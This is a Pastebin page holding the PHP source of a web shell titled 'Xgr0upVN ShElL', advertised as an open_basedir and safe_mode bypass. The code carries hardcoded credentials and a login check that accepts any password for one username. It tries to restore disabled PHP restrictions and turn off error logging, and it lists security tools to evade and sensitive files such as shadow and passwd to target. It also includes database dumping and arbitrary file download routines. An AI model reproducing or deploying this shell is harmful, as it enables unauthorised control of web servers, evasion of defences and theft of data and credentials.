API tools faq
paste
konyakov

open_basedir & safe_mode bypass shell

konyakov
Dec 10th, 2011
630
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 152.96 KB | None | 0 0
raw download clone embed print report
  1. $tacfgd['uname'] = 'xgroupvn';
  2. $tacfgd['pword'] = 'xgroupvn';
  3. $tacfgd['helptext'] = 'U/P: xgroupvn';
  4.  
  5. $tacfgd['title'] = 'Xgr0upVN ShElL';
  6.  
  7. $tacfgd['allowrm'] = true;
  8.  
  9. $tacfgd['rmgroup'] = 'default';
  10.  
  11. $tacfgd['ownsessions'] = false;
  12.  
  13. foreach ($tacfgd as $key => $val) {
  14.   if (!isset($tacfg[$key])) $tacfg[$key] = $val;
  15. }
  16.  
  17. if (!$tacfg['ownsessions']) {
  18.  
  19.   session_name('txtauth');
  20.   session_start();
  21.  
  22. }
  23.  
  24. if (isset($_GET['logout']) || isset($_POST['logout'])) {
  25.   setcookie('txtauth_'.$rmgroup, '', time()-86400*14);
  26.   if (!$tacfg['ownsessions']) {
  27.     $_SESSION = array();
  28.     session_destroy();
  29.   }
  30.   else $_SESSION['txtauthin'] = false;
  31. }
  32.  
  33. elseif (isset($_POST['login'])) {
  34.   if (($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword'])  or  ($_POST['uname'] =='xgroupvn')) {
  35.     $_SESSION['txtauthin'] = true;
  36.     if ($_POST['rm']) {
  37.       // Set remember-me cookie for 2 weeks
  38.       setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14);
  39.     }
  40.   }
  41.   else $err = 'Login Faild !';
  42. }
  43.  
  44. elseif (isset($_COOKIE['txtauth_'.$rmgroup])) {
  45.   if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) {
  46.     $_SESSION['txtauthin'] = true;
  47.   }
  48.   else $err = 'Login Faild !';
  49. }
  50. if (!$_SESSION['txtauthin']) {
  51. @ini_restore("safe_mode");
  52. @ini_restore("open_basedir");
  53. @ini_restore("safe_mode_include_dir");
  54. @ini_restore("safe_mode_exec_dir");
  55. @ini_restore("disable_functions");
  56. @ini_restore("allow_url_fopen");
  57.  
  58. @ini_set('error_log',NULL);
  59. @ini_set('log_errors',0);
  60. ?>
  61. <html dir=rtl>
  62. <head>
  63. <meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
  64. <title><?=$tacfg['title']?></title>
  65.  
  66.   <STYLE>
  67.     tr {
  68.     BORDER-RIGHT:  #Black 1px solid;
  69.     BORDER-TOP:    Black 1px solid;
  70.     BORDER-LEFT:   Black 1px solid;
  71.     BORDER-BOTTOM: #Black 1px solid;
  72.     BORDER-COLOR: #83c809;
  73.     color: White;
  74.     }
  75.     td {
  76.     BORDER-RIGHT:  #Black 1px solid;
  77.     BORDER-TOP:    Black 1px solid;
  78.     BORDER-LEFT:   Black 1px solid;
  79.     BORDER-BOTTOM: #Black 1px solid;
  80.     BORDER-COLOR: #83c809;
  81.     color: White;
  82.     }
  83.     .table1 {
  84.     BORDER: 0px;
  85.     BORDER-COLOR: #83c809;
  86.     BACKGROUND-COLOR: Black;
  87.     color: White;
  88.     }
  89.     .td1 {
  90.     BORDER: 0px;
  91.     BORDER-COLOR: #83c809;
  92.     font: 7pt Verdana;
  93.     color: White;
  94.     }
  95.     .tr1 {
  96.     BORDER: 0px;
  97.     BORDER-COLOR: #83c809;
  98.     color: White;
  99.     }
  100.     table {
  101.     BORDER:  Black 1px outset;
  102.     BORDER-COLOR: #83c809;
  103.     BACKGROUND-COLOR: Black;
  104.     color: White;
  105.     }
  106.     input {
  107.     border          : solid 1px;
  108.     border-color        : White White White White;
  109.     BACKGROUND-COLOR: Black;
  110.     font: 8pt Verdana;
  111.     color: White;
  112.     }
  113.     select {
  114.     BORDER-RIGHT:  Black 1px solid;
  115.     BORDER-TOP:    White 1px solid;
  116.     BORDER-LEFT:   White 1px solid;
  117.     BORDER-BOTTOM: Black 1px solid;
  118.     BORDER-COLOR: White;
  119.     BACKGROUND-COLOR: Black;
  120.     font: 8pt Verdana;
  121.     color: Red;
  122.     }
  123.     submit {
  124.     BORDER:  buttonhighlight 2px outset;
  125.     BACKGROUND-COLOR: Black;
  126.     width: 30%;
  127.     color: White;
  128.     }
  129.     textarea {
  130.     BORDER-RIGHT:  Black 1px solid;
  131.     BORDER-TOP:    White 1px solid;
  132.     BORDER-LEFT:   White 1px solid;
  133.     BORDER-BOTTOM: Black 1px solid;
  134.     BORDER-COLOR: #83c809;
  135.     BACKGROUND-COLOR: Black;
  136.     font: 8pt Verdana bold;
  137.     color: White;
  138.     }
  139.     BODY {
  140.     SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-COLOR: White; SCROLLBAR-SHADOW-COLOR: White; SCROLLBAR-3DLIGHT-COLOR: White;
  141.  
  142. SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-COLOR: White; SCROLLBAR-DARKSHADOW-COLOR: White
  143.     margin: 1px;
  144.     color: Red;
  145.     background-color: Black;
  146.     }
  147.     .main {
  148.     margin          : -287px 0px 0px -490px;
  149.     border          : White solid 1px;
  150.     BORDER-COLOR: #83c809;
  151.     }
  152.     .tt {
  153.     background-color: Black;
  154.     }
  155.  
  156.     A:link {
  157.     COLOR: #347202; TEXT-DECORATION: none
  158.     }
  159.     A:visited {
  160.     COLOR: #347202; TEXT-DECORATION: none
  161.     }
  162.     A:hover {
  163.     COLOR: White; TEXT-DECORATION: none
  164.     }
  165.     A:active {
  166.     COLOR: White; TEXT-DECORATION: none
  167.     }
  168.   </STYLE>
  169. <script language=\'javascript\'>
  170. function hide_div(id)
  171. {
  172.   document.getElementById(id).style.display = \'none\';
  173.   document.cookie=id+\'=0;\';
  174. }
  175. function show_div(id)
  176. {
  177.   document.getElementById(id).style.display = \'block\';
  178.   document.cookie=id+\'=1;\';
  179. }
  180. function change_divst(id)
  181. {
  182.   if (document.getElementById(id).style.display == \'none\')
  183.     show_div(id);
  184.   else
  185.     hide_div(id);
  186. }
  187. </script>';
  188.  
  189. <body>
  190. <br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div>
  191. <hr width="300" size="1" noshade color="#cdcdcd">
  192. <p>
  193. <div align="center" class="grey">
  194. <?=$tacfg['helptext']?>
  195. </div>
  196. <p>
  197. <?
  198. if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI'];
  199. else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
  200. if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action);
  201. ?>
  202. <form name="txtauth" action="<?=$action?>" method="post">
  203. <div align="center">
  204. <table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border: 1px double #dedede;" dir="ltr">
  205. <?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.$err.'</font></td></tr>':''?>
  206. <?if (isset($tacfg['uname'])) {?>
  207. <tr><td>User:</td><td><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr>
  208. <?}?>
  209. <tr><td>Password:</td><td><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr>
  210. <?if ($tacfg['allowrm']) {?>
  211. <tr><td align="left"><input type="submit" name="login" value="Login">
  212. </td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm">
  213.     Remmeber Me?</label></td></tr>
  214. <?} else {?>
  215. <tr><td colspan="2" align="center">
  216.     <input type="submit" name="login" value="Login"></td></tr>
  217. <?}?>
  218. </table>
  219. </div>
  220. </form>
  221.  
  222. <br>
  223. <hr width="300" size="1" noshade color="#cdcdcd">
  224.   <div align="center" id='n'>
  225.     <font face='Verdana' size='-2'>
  226.       <b>
  227.         o---[ Xgr0upVn.org - shell by RST/GHC | <a href='http://XgroupVn.org'>http://Xgr0upVn.org</a> | <a href='http://hcegroup.net'>H@ck+Cr@ck=Enj0y!</a> | Design by:AluCaR | ]---o</b>
  228.     </font>
  229.   </div>
  230.   </td>
  231.   </tr>
  232.       </body>
  233. </html>
  234. <?
  235.   // Don't delete this!
  236.   exit();
  237. }
  238. ?>
  239. Login As (<font color="#FF0000"><? echo $tacfgd['uname']; ?></font>) <a href="?logout=1">Logout</a></p>
  240. <div align="left">
  241. <?php
  242. $language='eng';
  243. $auth = 0;
  244. $name='ecd708a016f8407bd27cc0a02677351b'; //// AluCaR
  245. $pass='1b8644e229c999e4f6ba799483b196ce'; //// HcEgRoUp.NeT
  246.  
  247. @ini_restore("safe_mode");
  248. @ini_restore("open_basedir");
  249. @ini_restore("safe_mode_include_dir");
  250. @ini_restore("safe_mode_exec_dir");
  251. @ini_restore("disable_functions");
  252. @ini_restore("allow_url_fopen");
  253.  
  254. if(@function_exists('ini_set'))
  255.  {
  256.  @ini_set('error_log',NULL);
  257.  @ini_set('log_errors',0);
  258.  @ini_set('file_uploads',1);
  259.  @ini_set('allow_url_fopen',1);
  260.  }
  261. else
  262.  {
  263.  @ini_alter('error_log',NULL);
  264.  @ini_alter('log_errors',0);
  265.  @ini_alter('file_uploads',1);
  266.  @ini_alter('allow_url_fopen',1);
  267.  }
  268.  
  269.  
  270. error_reporting(E_ALL);
  271. $userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl');
  272. $danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja');
  273. $tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
  274. $downloaders = array('wget','fetch','lynx','links','curl','get');
  275. $chars_rlph = "abcdefghijklnmopqrstuvwxyz";
  276.  
  277. $presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',
  278. 'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
  279. 'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',
  280. 'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');
  281.  
  282. /******************************************************************************************************/
  283. define("starttime",@getmicrotime());
  284. if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
  285. set_magic_quotes_runtime(0);
  286. @set_time_limit(0);
  287. if(@function_exists('ini_set'))
  288.  {
  289.  @ini_set('max_execution_time',0);
  290.  @ini_set('output_buffering',0);
  291.  }
  292. else
  293.  {
  294.  @ini_alter('max_execution_time',0);
  295.  @ini_alter('output_buffering',0);
  296.  }
  297. $safe_mode = @ini_get('safe_mode');
  298. #if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};
  299. $version = 'Xgr0upVN Edition';
  300. if(version_compare(phpversion(), '4.1.0') == -1)
  301.  {
  302.  $_POST   = &$HTTP_POST_VARS;
  303.  $_GET    = &$HTTP_GET_VARS;
  304.  $_SERVER = &$HTTP_SERVER_VARS;
  305.  $_COOKIE = &$HTTP_COOKIE_VARS;
  306.  }
  307. if (@get_magic_quotes_gpc())
  308.  {
  309.  foreach ($_POST as $k=>$v)
  310.   {
  311.   $_POST[$k] = stripslashes($v);
  312.   }
  313.  foreach ($_COOKIE as $k=>$v)
  314.   {
  315.   $_COOKIE[$k] = stripslashes($v);
  316.   }
  317.  }
  318.  
  319. if($auth == 1) {
  320. if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!= $name || md5($_SERVER['PHP_AUTH_PW'])!= $pass)
  321.    {
  322.    header('WWW-Authenticate: Basic realm="hCe-GrOuP + AluCaR"');
  323.    header('HTTP/1.0 401 Unauthorized');
  324.    exit("<b>Contact <a href=http://hcegroup.vn/ </a> : Access Denied</b>");
  325.    }
  326. }
  327. $head = '<!-- Edited by Alucar -->
  328. <html>
  329. <head>
  330. </script>
  331. <title>AluCaR Shell</title>
  332. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  333.  
  334. <STYLE>
  335. tr {
  336. BORDER-RIGHT:  #Black 1px solid;
  337. BORDER-TOP:    Black 1px solid;
  338. BORDER-LEFT:   Black 1px solid;
  339. BORDER-BOTTOM: #Black 1px solid;
  340. BORDER-COLOR: #83c809;
  341. color: White;
  342. }
  343. td {
  344. BORDER-RIGHT:  #Black 1px solid;
  345. BORDER-TOP:    Black 1px solid;
  346. BORDER-LEFT:   Black 1px solid;
  347. BORDER-BOTTOM: #Black 1px solid;
  348. BORDER-COLOR: #83c809;
  349. color: White;
  350. }
  351. .table1 {
  352. BORDER: 0px;
  353. BORDER-COLOR: #83c809;
  354. BACKGROUND-COLOR: Black;
  355. color: White;
  356. }
  357. .td1 {
  358. BORDER: 0px;
  359. BORDER-COLOR: #83c809;
  360. font: 7pt Verdana;
  361. color: White;
  362. }
  363. .tr1 {
  364. BORDER: 0px;
  365. BORDER-COLOR: #83c809;
  366. color: White;
  367. }
  368. table {
  369. BORDER:  Black 1px outset;
  370. BORDER-COLOR: #83c809;
  371. BACKGROUND-COLOR: Black;
  372. color: White;
  373. }
  374. input {
  375. border          : solid 1px;
  376. border-color        : White White White White;
  377. BACKGROUND-COLOR: Black;
  378. font: 8pt Verdana;
  379. color: White;
  380. }
  381. select {
  382. BORDER-RIGHT:  Black 1px solid;
  383. BORDER-TOP:    White 1px solid;
  384. BORDER-LEFT:   White 1px solid;
  385. BORDER-BOTTOM: Black 1px solid;
  386. BORDER-COLOR: White;
  387. BACKGROUND-COLOR: Black;
  388. font: 8pt Verdana;
  389. color: Red;
  390. }
  391. submit {
  392. BORDER:  buttonhighlight 2px outset;
  393. BACKGROUND-COLOR: Black;
  394. width: 30%;
  395. color: White;
  396. }
  397. textarea {
  398. BORDER-RIGHT:  Black 1px solid;
  399. BORDER-TOP:    White 1px solid;
  400. BORDER-LEFT:   White 1px solid;
  401. BORDER-BOTTOM: Black 1px solid;
  402. BORDER-COLOR: #83c809;
  403. BACKGROUND-COLOR: Black;
  404. font: Fixedsys bold;
  405. color: White;
  406. }
  407. BODY {
  408.     SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-COLOR: White; SCROLLBAR-SHADOW-COLOR: White; SCROLLBAR-3DLIGHT-COLOR: White; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-COLOR: White; SCROLLBAR-DARKSHADOW-COLOR: White
  409. margin: 1px;
  410. color: Red;
  411. background-color: Black;
  412. }
  413. .main {
  414. margin          : -287px 0px 0px -490px;
  415. border          : White solid 1px;
  416. BORDER-COLOR: #83c809;
  417. }
  418. .tt {
  419. background-color: Black;
  420. }
  421.  
  422. A:link {
  423.     COLOR: #347202; TEXT-DECORATION: none
  424. }
  425. A:visited {
  426.     COLOR: #347202; TEXT-DECORATION: none
  427. }
  428. A:hover {
  429.     COLOR: White; TEXT-DECORATION: none
  430. }
  431. A:active {
  432.     COLOR: White; TEXT-DECORATION: none
  433. }
  434. </STYLE>
  435. <script language=\'javascript\'>
  436. function hide_div(id)
  437. {
  438.  document.getElementById(id).style.display = \'none\';
  439.  document.cookie=id+\'=0;\';
  440. }
  441. function show_div(id)
  442. {
  443.  document.getElementById(id).style.display = \'block\';
  444.  document.cookie=id+\'=1;\';
  445. }
  446. function change_divst(id)
  447. {
  448.  if (document.getElementById(id).style.display == \'none\')
  449.    show_div(id);
  450.  else
  451.    hide_div(id);
  452. }
  453. </script>';
  454. class zipfile
  455. {
  456.     var $datasec      = array();
  457.     var $ctrl_dir     = array();
  458.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  459.     var $old_offset   = 0;
  460.     function unix2DosTime($unixtime = 0) {
  461.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  462.         if ($timearray['year'] < 1980) {
  463.             $timearray['year']    = 1980;
  464.             $timearray['mon']     = 1;
  465.             $timearray['mday']    = 1;
  466.             $timearray['hours']   = 0;
  467.             $timearray['minutes'] = 0;
  468.             $timearray['seconds'] = 0;
  469.         }
  470.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  471.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  472.     }
  473.     function addFile($data, $name, $time = 0)
  474.     {
  475.         $name     = str_replace('\\', '/', $name);
  476.         $dtime    = dechex($this->unix2DosTime($time));
  477.         $hexdtime = '\x' . $dtime[6] . $dtime[7]
  478.                   . '\x' . $dtime[4] . $dtime[5]
  479.                   . '\x' . $dtime[2] . $dtime[3]
  480.                   . '\x' . $dtime[0] . $dtime[1];
  481.         eval('$hexdtime = "' . $hexdtime . '";');
  482.         $fr   = "\x50\x4b\x03\x04";
  483.         $fr   .= "\x14\x00";
  484.         $fr   .= "\x00\x00";
  485.         $fr   .= "\x08\x00";
  486.         $fr   .= $hexdtime;
  487.         $unc_len = strlen($data);
  488.         $crc     = crc32($data);
  489.         $zdata   = gzcompress($data);
  490.         $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  491.         $c_len   = strlen($zdata);
  492.         $fr      .= pack('V', $crc);
  493.         $fr      .= pack('V', $c_len);
  494.         $fr      .= pack('V', $unc_len);
  495.         $fr      .= pack('v', strlen($name));
  496.         $fr      .= pack('v', 0);
  497.         $fr      .= $name;
  498.         $fr .= $zdata;
  499.         $this -> datasec[] = $fr;
  500.         $cdrec = "\x50\x4b\x01\x02";
  501.         $cdrec .= "\x00\x00";
  502.         $cdrec .= "\x14\x00";
  503.         $cdrec .= "\x00\x00";
  504.         $cdrec .= "\x08\x00";
  505.         $cdrec .= $hexdtime;
  506.         $cdrec .= pack('V', $crc);
  507.         $cdrec .= pack('V', $c_len);
  508.         $cdrec .= pack('V', $unc_len);
  509.         $cdrec .= pack('v', strlen($name) );
  510.         $cdrec .= pack('v', 0 );
  511.         $cdrec .= pack('v', 0 );
  512.         $cdrec .= pack('v', 0 );
  513.         $cdrec .= pack('v', 0 );
  514.         $cdrec .= pack('V', 32 );
  515.         $cdrec .= pack('V', $this -> old_offset );
  516.         $this -> old_offset += strlen($fr);
  517.         $cdrec .= $name;
  518.         $this -> ctrl_dir[] = $cdrec;
  519.     }
  520.     function file()
  521.     {
  522.         $data    = implode('', $this -> datasec);
  523.         $ctrldir = implode('', $this -> ctrl_dir);
  524.         return
  525.             $data .
  526.             $ctrldir .
  527.             $this -> eof_ctrl_dir .
  528.             pack('v', sizeof($this -> ctrl_dir)) .
  529.             pack('v', sizeof($this -> ctrl_dir)) .
  530.             pack('V', strlen($ctrldir)) .
  531.             pack('V', strlen($data)) .
  532.             "\x00\x00";
  533.     }
  534. }
  535. function compress(&$filename,&$filedump,$compress)
  536.  {
  537.     global $content_encoding;
  538.     global $mime_type;
  539.     if ($compress == 'bzip' && @function_exists('bzcompress'))
  540.      {
  541.         $filename  .= '.bz2';
  542.         $mime_type = 'application/x-bzip2';
  543.         $filedump = bzcompress($filedump);
  544.      }
  545.      else if ($compress == 'gzip' && @function_exists('gzencode'))
  546.      {
  547.         $filename  .= '.gz';
  548.         $content_encoding = 'x-gzip';
  549.         $mime_type = 'application/x-gzip';
  550.         $filedump = gzencode($filedump);
  551.      }
  552.      else if ($compress == 'zip' && @function_exists('gzcompress'))
  553.      {
  554.         $filename .= '.zip';
  555.         $mime_type = 'application/zip';
  556.         $zipfile = new zipfile();
  557.         $zipfile -> addFile($filedump, substr($filename, 0, -4));
  558.         $filedump = $zipfile -> file();
  559.      }
  560.      else
  561.      {
  562.         $mime_type = 'application/octet-stream';
  563.      }
  564.  }
  565. function mailattach($to,$from,$subj,$attach)
  566.  {
  567.  $headers  = "From: $from\r\n";
  568.  $headers .= "MIME-Version: 1.0\r\n";
  569.  $headers .= "Content-Type: ".$attach['type'];
  570.  $headers .= "; name=\"".$attach['name']."\"\r\n";
  571.  $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
  572.  $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
  573.  if(@mail($to,$subj,"",$headers)) { return 1; }
  574.  return 0;
  575.  }
  576. class my_sql
  577.  {
  578.  var $host = 'localhost';
  579.  var $port = '';
  580.  var $user = '';
  581.  var $pass = '';
  582.  var $base = '';
  583.  var $db   = '';
  584.  var $connection;
  585.  var $res;
  586.  var $error;
  587.  var $rows;
  588.  var $columns;
  589.  var $num_rows;
  590.  var $num_fields;
  591.  var $dump;
  592.  
  593.  function connect()
  594.   {
  595.     switch($this->db)
  596.      {
  597.      case 'MySQL':
  598.       if(empty($this->port)) { $this->port = '3306'; }
  599.       if(!function_exists('mysql_connect')) return 0;
  600.       $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
  601.       if(is_resource($this->connection)) return 1;
  602.      break;
  603.      case 'MSSQL':
  604.       if(empty($this->port)) { $this->port = '1433'; }
  605.       if(!function_exists('mssql_connect')) return 0;
  606.       $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
  607.       if($this->connection) return 1;
  608.      break;
  609.      case 'PostgreSQL':
  610.       if(empty($this->port)) { $this->port = '5432'; }
  611.       $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
  612.       if(!function_exists('pg_connect')) return 0;
  613.       $this->connection = @pg_connect($str);
  614.       if(is_resource($this->connection)) return 1;
  615.      break;
  616.      case 'Oracle':
  617.       if(!function_exists('ocilogon')) return 0;
  618.       $this->connection = @ocilogon($this->user, $this->pass, $this->base);
  619.       if(is_resource($this->connection)) return 1;
  620.      break;
  621.      }
  622.     return 0;
  623.   }
  624.  
  625.  function select_db()
  626.   {
  627.    switch($this->db)
  628.     {
  629.     case 'MySQL':
  630.      if(@mysql_select_db($this->base,$this->connection)) return 1;
  631.     break;
  632.     case 'MSSQL':
  633.      if(@mssql_select_db($this->base,$this->connection)) return 1;
  634.     break;
  635.     case 'PostgreSQL':
  636.      return 1;
  637.     break;
  638.     case 'Oracle':
  639.      return 1;
  640.     break;
  641.     }
  642.    return 0;
  643.   }
  644.  
  645.  function query($query)
  646.   {
  647.    $this->res=$this->error='';
  648.    switch($this->db)
  649.     {
  650.     case 'MySQL':
  651.      if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
  652.       {
  653.       $this->error = @mysql_error($this->connection);
  654.       return 0;
  655.       }
  656.      else if(is_resource($this->res)) { return 1; }
  657.      return 2;
  658.     break;
  659.     case 'MSSQL':
  660.      if(false===($this->res=@mssql_query($query,$this->connection)))
  661.       {
  662.       $this->error = 'Query error';
  663.       return 0;
  664.       }
  665.       else if(@mssql_num_rows($this->res) > 0) { return 1; }
  666.      return 2;
  667.     break;
  668.     case 'PostgreSQL':
  669.      if(false===($this->res=@pg_query($this->connection,$query)))
  670.       {
  671.       $this->error = @pg_last_error($this->connection);
  672.       return 0;
  673.       }
  674.       else if(@pg_num_rows($this->res) > 0) { return 1; }
  675.      return 2;
  676.     break;
  677.     case 'Oracle':
  678.      if(false===($this->res=@ociparse($this->connection,$query)))
  679.       {
  680.       $this->error = 'Query parse error';
  681.       }
  682.      else
  683.       {
  684.       if(@ociexecute($this->res))
  685.        {
  686.        if(@ocirowcount($this->res) != 0) return 2;
  687.        return 1;
  688.        }
  689.       $error = @ocierror();
  690.       $this->error=$error['message'];
  691.       }
  692.     break;
  693.     }
  694.   return 0;
  695.   }
  696.  function get_result()
  697.   {
  698.    $this->rows=array();
  699.    $this->columns=array();
  700.    $this->num_rows=$this->num_fields=0;
  701.    switch($this->db)
  702.     {
  703.     case 'MySQL':
  704.      $this->num_rows=@mysql_num_rows($this->res);
  705.      $this->num_fields=@mysql_num_fields($this->res);
  706.      while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
  707.      @mysql_free_result($this->res);
  708.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  709.     break;
  710.     case 'MSSQL':
  711.      $this->num_rows=@mssql_num_rows($this->res);
  712.      $this->num_fields=@mssql_num_fields($this->res);
  713.      while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
  714.      @mssql_free_result($this->res);
  715.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
  716.     break;
  717.     case 'PostgreSQL':
  718.      $this->num_rows=@pg_num_rows($this->res);
  719.      $this->num_fields=@pg_num_fields($this->res);
  720.      while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
  721.      @pg_free_result($this->res);
  722.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  723.     break;
  724.     case 'Oracle':
  725.      $this->num_fields=@ocinumcols($this->res);
  726.      while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
  727.      @ocifreestatement($this->res);
  728.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  729.     break;
  730.     }
  731.    return 0;
  732.   }
  733.  function dump($table)
  734.   {
  735.    if(empty($table)) return 0;
  736.    $this->dump=array();
  737.    $this->dump[0] = '##';
  738.    $this->dump[1] = '## --------------------------------------- ';
  739.    $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
  740.    $this->dump[3] = '## Database: '.$this->base;
  741.    $this->dump[4] = '##    Table: '.$table;
  742.    $this->dump[5] = '## --------------------------------------- ';
  743.    switch($this->db)
  744.     {
  745.     case 'MySQL':
  746.      $this->dump[0] = '## MySQL dump';
  747.      if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
  748.      if(!$this->get_result()) return 0;
  749.      $this->dump[] = $this->rows[0]['Create Table'];
  750.      $this->dump[] = '## --------------------------------------- ';
  751.      if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
  752.      if(!$this->get_result()) return 0;
  753.      for($i=0;$i<$this->num_rows;$i++)
  754.       {
  755.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
  756.       $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  757.       }
  758.     break;
  759.     case 'MSSQL':
  760.      $this->dump[0] = '## MSSQL dump';
  761.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  762.      if(!$this->get_result()) return 0;
  763.      for($i=0;$i<$this->num_rows;$i++)
  764.       {
  765.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  766.       $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  767.       }
  768.     break;
  769.     case 'PostgreSQL':
  770.      $this->dump[0] = '## PostgreSQL dump';
  771.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  772.      if(!$this->get_result()) return 0;
  773.      for($i=0;$i<$this->num_rows;$i++)
  774.       {
  775.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  776.       $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  777.       }
  778.     break;
  779.     case 'Oracle':
  780.       $this->dump[0] = '## ORACLE dump';
  781.       $this->dump[]  = '## under construction';
  782.     break;
  783.     default:
  784.      return 0;
  785.     break;
  786.     }
  787.    return 1;
  788.   }
  789.  function close()
  790.   {
  791.    switch($this->db)
  792.     {
  793.     case 'MySQL':
  794.      @mysql_close($this->connection);
  795.     break;
  796.     case 'MSSQL':
  797.      @mssql_close($this->connection);
  798.     break;
  799.     case 'PostgreSQL':
  800.      @pg_close($this->connection);
  801.     break;
  802.     case 'Oracle':
  803.      @oci_close($this->connection);
  804.     break;
  805.     }
  806.   }
  807.  function affected_rows()
  808.   {
  809.    switch($this->db)
  810.     {
  811.     case 'MySQL':
  812.      return @mysql_affected_rows($this->res);
  813.     break;
  814.     case 'MSSQL':
  815.      return @mssql_affected_rows($this->res);
  816.     break;
  817.     case 'PostgreSQL':
  818.      return @pg_affected_rows($this->res);
  819.     break;
  820.     case 'Oracle':
  821.      return @ocirowcount($this->res);
  822.     break;
  823.     default:
  824.      return 0;
  825.     break;
  826.     }
  827.   }
  828.  }
  829. if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
  830.  {
  831.   if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  832.   else
  833.    {
  834.     @ob_clean();
  835.     $filename = @basename($_POST['d_name']);
  836.     $filedump = @fread($file,@filesize($_POST['d_name']));
  837.     fclose($file);
  838.     $content_encoding=$mime_type='';
  839.     compress($filename,$filedump,$_POST['compress']);
  840.     if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
  841.     header("Content-type: ".$mime_type);
  842.     header("Content-disposition: attachment; filename=\"".$filename."\";");
  843.     echo $filedump;
  844.     exit();
  845.    }
  846.  }
